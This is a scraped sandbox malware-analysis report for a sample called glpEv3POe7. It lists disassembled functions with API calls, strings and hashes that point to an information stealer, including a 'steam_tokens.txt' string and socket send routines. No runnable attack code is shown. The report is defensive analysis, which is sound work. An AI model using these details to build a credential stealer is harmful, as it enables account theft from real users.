Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: caef47e50d86ffbc8d5260f0772cf39acf0307b1156ea4ed6ce478635c224772
Instruction ID: 42d34072a48ff22c5cbffc06224249928d46fd8468f3d629db8cb0776c316a12
Opcode Fuzzy Hash: caef47e50d86ffbc8d5260f0772cf39acf0307b1156ea4ed6ce478635c224772
Instruction Fuzzy Hash: 654192702102469FCB54FF64DC4AFAE7BE8BBC4304F408928B98D97251DE34E949CB96

Function 0059EB40 Relevance: 9.1, APIs: 6, Instructions: 113stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0059EB8B
lstrcpy.KERNEL32(00000000,?), ref: 0059EBC0
lstrcatA.KERNEL32(?,00000000), ref: 0059EBCC
lstrcatA.KERNEL32(?,005B1D5C), ref: 0059EBE3
lstrcatA.KERNEL32(?,011DD688), ref: 0059EBF4
lstrcatA.KERNEL32(?,005B1D5C), ref: 0059EC04

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: 5891907a93c7d7945b8332e3fd4179395131eb8392e6987dc858c7adccb2f6d9
Instruction ID: 8a03c1dc5947105717b912f3028ed86745797e89c6e7120871d9099030b6b8b0
Opcode Fuzzy Hash: 5891907a93c7d7945b8332e3fd4179395131eb8392e6987dc858c7adccb2f6d9
Instruction Fuzzy Hash: E041AF71214205AFC750FB64DC4AFDE7BE8FFC8700F408928FA9997291DE34A9458B96

Function 0059EE10 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0059EE3F
lstrlenA.KERNEL32(00000000), ref: 0059EE4D
lstrcpy.KERNEL32(00000000,00000000), ref: 0059EE74
lstrlenA.KERNEL32(00000000), ref: 0059EE7B
lstrcpy.KERNEL32(00000000,steam_tokens.txt), ref: 0059EEAF

Strings

steam_tokens.txt, xrefs: 0059EEA9

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: steam_tokens.txt
API String ID: 367037083-401951677
Opcode ID: dcfec6551bc93ed0661cdb24ba2d016fbed55a76d7795146522cb0708fd8cc1a
Instruction ID: d10374a505d658ce8c03c5e47e2a2df76e35160811fedab6cf1999278a2c3074
Opcode Fuzzy Hash: dcfec6551bc93ed0661cdb24ba2d016fbed55a76d7795146522cb0708fd8cc1a
Instruction Fuzzy Hash: 0E315C31A115165BCB21FB78D84EA5F7FE8BF80B00F445160FD45AB262EA24DD468BD1

Function 00589AE0 Relevance: 9.1, APIs: 6, Instructions: 67filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,005812EE), ref: 00589AFA
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,005812EE), ref: 00589B10
LocalAlloc.KERNEL32(00000040,?,?,?,?,005812EE), ref: 00589B27
ReadFile.KERNEL32(00000000,00000000,?,005812EE,00000000,?,?,?,005812EE), ref: 00589B40
LocalFree.KERNEL32(?,?,?,?,005812EE), ref: 00589B60
CloseHandle.KERNEL32(00000000,?,?,?,005812EE), ref: 00589B67

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: d0b393566ddf493b263eb0dcf1a34f11c514040722b619d11556c90f33d38680
Instruction ID: 2c5ea74a8bbf7e458a4cdc4fa42207552f2c57411488ea7b4e024220cf0a8313
Opcode Fuzzy Hash: d0b393566ddf493b263eb0dcf1a34f11c514040722b619d11556c90f33d38680
Instruction Fuzzy Hash: A5111F71604219AFD711AFA5DC84FBA7B6CFB05701F144259FD15A7180DB34ED40CB65

Function 005A5137 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,?,?,00000000), ref: 005A5196
closesocket.WS2_32(00000000), ref: 005A51A2
WSACleanup.WS2_32 ref: 005A51A8

Strings

`U[, xrefs: 005A515A
`U[, xrefs: 005A51AE

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Cleanupclosesocketsend
String ID: `U[$`U[
API String ID: 869633743-1504192033
Opcode ID: de08aacdd94f59c5d49d886d8ee84a43bd8a0288f74e3618444474a2d08a0995
Instruction ID: 58ee4812f998a1d505a294860f52e1a94c1dc4c354d7c283e22fdbcdb4a6a58d
Opcode Fuzzy Hash: de08aacdd94f59c5d49d886d8ee84a43bd8a0288f74e3618444474a2d08a0995
Instruction Fuzzy Hash: 49216D31910128DBCB21EB24CC45AEDBB35FFC5350F9486A1E88867516EB706E85CFA1

Function 005A3360 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?), ref: 005A338F
HeapAlloc.KERNEL32(00000000), ref: 005A3396
GlobalMemoryStatusEx.KERNEL32 ref: 005A33B1
wsprintfA.USER32 ref: 005A33D7

Strings

%d MB, xrefs: 005A33D1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 5921f492862d93640880f212de4f8315b007e0c64fb319a74bae6435b42f289e
Instruction ID: 787943155dcf1255ffe1884977ee8cf36f85bbe0d665ab9a4524f387181d0001
Opcode Fuzzy Hash: 5921f492862d93640880f212de4f8315b007e0c64fb319a74bae6435b42f289e
Instruction Fuzzy Hash: E201D8B1E04218AFDB04DFA8CD49F6EBBBCFB45714F10462AFA16D7390D778590086A5

Function 005A08E8 Relevance: 8.4, APIs: 4, Strings: 1, Instructions: 931stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005A7210: lstrcpy.KERNEL32(00000000,ERROR), ref: 005A722E

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,?), ref: 0058602F
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586082
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860B5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860E5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586120

Part of subcall function 005980E0: strtok_s.MSVCRT ref: 00598105
Part of subcall function 005980E0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,005A093B), ref: 0059814B
Part of subcall function 005980E0: lstrcpy.KERNEL32(00000000,00000000), ref: 0059817A
Part of subcall function 005980E0: strtok_s.MSVCRT ref: 0059820F

lstrcpy.KERNEL32(00000000,?), ref: 005A09AD

Strings

fplugins, xrefs: 005A0908

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: fplugins
API String ID: 2116072422-38756186
Opcode ID: db47bf078e890fdc8d4ffa4775c06f5e8ac6975383b693197799e4913937de37
Instruction ID: df8637e7dc08365128d11da74188320dd931decfc6383dac36b02634395d8b2f
Opcode Fuzzy Hash: db47bf078e890fdc8d4ffa4775c06f5e8ac6975383b693197799e4913937de37
Instruction Fuzzy Hash: A1823A74A016058FDB64DF29C488B68BBF0BF4A314F19C1ADD8099B2A2DB35DC86CF55

Function 00597700 Relevance: 7.9, APIs: 5, Instructions: 406stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00588FF0: ??2@YAPAXI@Z.MSVCRT(00000020), ref: 00588FF9

Part of subcall function 005A4800: LoadLibraryA.KERNEL32(ws2_32.dll,?,00597741), ref: 005A4806
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,connect), ref: 005A481C
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 005A482D
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 005A483E
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,htons), ref: 005A484F
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 005A4860
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,recv), ref: 005A4871
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,socket), ref: 005A4882
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 005A4893
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,closesocket), ref: 005A48A4
Part of subcall function 005A4800: GetProcAddress.KERNEL32(00000000,send), ref: 005A48B5

StrCmpCA.SHLWAPI(?,011DD598), ref: 00597770
StrCmpCA.SHLWAPI(?,011DD5A8), ref: 00597848
lstrcpy.KERNEL32(00000000,005AD014), ref: 00597880
lstrcpy.KERNEL32(00000000,?), ref: 005978DD

Part of subcall function 005A7240: lstrcpy.KERNEL32(00000000), ref: 005A725A

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,005AD014), ref: 00595C15
Part of subcall function 00595BE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00595C44
Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00595C75
Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00595C9D
Part of subcall function 00595BE0: lstrcatA.KERNEL32(00000000,00000000), ref: 00595CA8
Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00595CD0

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$AddressProc$??2@FolderLibraryLoadPathlstrcat
String ID:
API String ID: 3558977763-0
Opcode ID: 55509fa449594d7aac81a48894b973d98fd089b132d606fe45cef9ae7b312c1d
Instruction ID: c53ed052d1c9e442f906e8398c55a9c5f2b06d5e393c25adcc761ee3ca20be12
Opcode Fuzzy Hash: 55509fa449594d7aac81a48894b973d98fd089b132d606fe45cef9ae7b312c1d
Instruction Fuzzy Hash: EEF18075A142098FCF24DF28C848B997BB5FF89314F19C1AAD918AB362D735ED41CB81

Function 00597C0F Relevance: 7.9, APIs: 5, Instructions: 367stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,011DD598), ref: 00597770
StrCmpCA.SHLWAPI(?,011DD5A8), ref: 00597848
lstrcpy.KERNEL32(00000000,005AD014), ref: 00597880
lstrcpy.KERNEL32(00000000,?), ref: 005978DD

Part of subcall function 005A7240: lstrcpy.KERNEL32(00000000), ref: 005A725A

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,005AD014), ref: 00595C15
Part of subcall function 00595BE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00595C44
Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00595C75
Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00595C9D
Part of subcall function 00595BE0: lstrcatA.KERNEL32(00000000,00000000), ref: 00595CA8
Part of subcall function 00595BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00595CD0

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$FolderPathlstrcat
String ID:
API String ID: 2938889746-0
Opcode ID: 6e3a97bad80af81bb089f030be6aba3a093c60eb9385a481d541e47f4e41adb6
Instruction ID: 4639e52794c363a7e9421bfd8f072534cd3b5af59ec626c398ef6467006454bd
Opcode Fuzzy Hash: 6e3a97bad80af81bb089f030be6aba3a093c60eb9385a481d541e47f4e41adb6
Instruction Fuzzy Hash: A9F15F75A142098FCF24DF28C448B997BB1FF89314F19C1AAD818AB362D735ED41CB91

Function 0059781D Relevance: 7.9, APIs: 5, Instructions: 365stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,011DD598), ref: 00597770
StrCmpCA.SHLWAPI(?,011DD5A8), ref: 00597848
lstrcpy.KERNEL32(00000000,005AD014), ref: 00597880
lstrcpy.KERNEL32(00000000,?), ref: 005978DD
StrCmpCA.SHLWAPI(?,011DD778), ref: 00597B7D

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 61c193dc8c67a581e44b5b6f3b364e013d1d80e47eee6a1f35fe31c07fa6b01c
Instruction ID: 4d34fafc00ee12bf5b42af2415b93319666aaf3613498fcdc41cc74aa34a564f
Opcode Fuzzy Hash: 61c193dc8c67a581e44b5b6f3b364e013d1d80e47eee6a1f35fe31c07fa6b01c
Instruction Fuzzy Hash: 96F15F75A142098FCF24DF28C448B997BB1FF89314F19C1AAD818AB362E735ED41CB91

Function 00597AE0 Relevance: 7.9, APIs: 5, Instructions: 363COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,011DD598), ref: 00597770
StrCmpCA.SHLWAPI(?,011DD778), ref: 00597B7D

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d220cabe95e6cc228f98c853d3c1eef15f0e7157e818caf1d5200f63dc4ea80
Instruction ID: aaf0d02ef0d37acb50ec4372417773c0929a396628db8c8d6a53bf8456319200
Opcode Fuzzy Hash: 5d220cabe95e6cc228f98c853d3c1eef15f0e7157e818caf1d5200f63dc4ea80
Instruction Fuzzy Hash: 06E14F75A152098FCF24DF28C548B597BB1FF89314F19C1AAD808AB362E735ED41CB91

Function 0059BCC9 Relevance: 7.6, APIs: 6, Instructions: 130stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0059BCD0
lstrcpy.KERNEL32(00000000,?), ref: 0059BCFB
lstrcpy.KERNEL32(00000000,?), ref: 0059BD2E
lstrcpy.KERNEL32(00000000,?), ref: 0059BD59
lstrcpy.KERNEL32(00000000,?), ref: 0059BD89
lstrcpy.KERNEL32(00000000,?), ref: 0059BDB4

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 7b00636309c9b40f479363093af41449af111e585c9af299e272b6e4f15619d3
Instruction ID: 10a82b1920dbf3e915550d9c29689d5b55c2c236d6a287602443ae1e6496c2ac
Opcode Fuzzy Hash: 7b00636309c9b40f479363093af41449af111e585c9af299e272b6e4f15619d3
Instruction Fuzzy Hash: 3741DC70A1021A9BDB10BFA8D98EA9E7FF4BF84700F5455A8FC45B7211DB34ED818B90

Function 6C46C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C46C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C46C969
GetSystemInfo.KERNEL32(?), ref: 6C46C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C46C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C46C9E2

Memory Dump Source

Source File: 00000000.00000002.1980653967.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1980639922.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980714845.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980728615.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_glpEv3POe7.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 696d6c0763dfa147f2ffb5b66998b4de2897699f6f55e33ebc377f07a6f895e3
Instruction ID: a020fc41bf4c04f465dbb56e9f46afa55e57ffe28e7400a0bb5f07d91e09ed1f
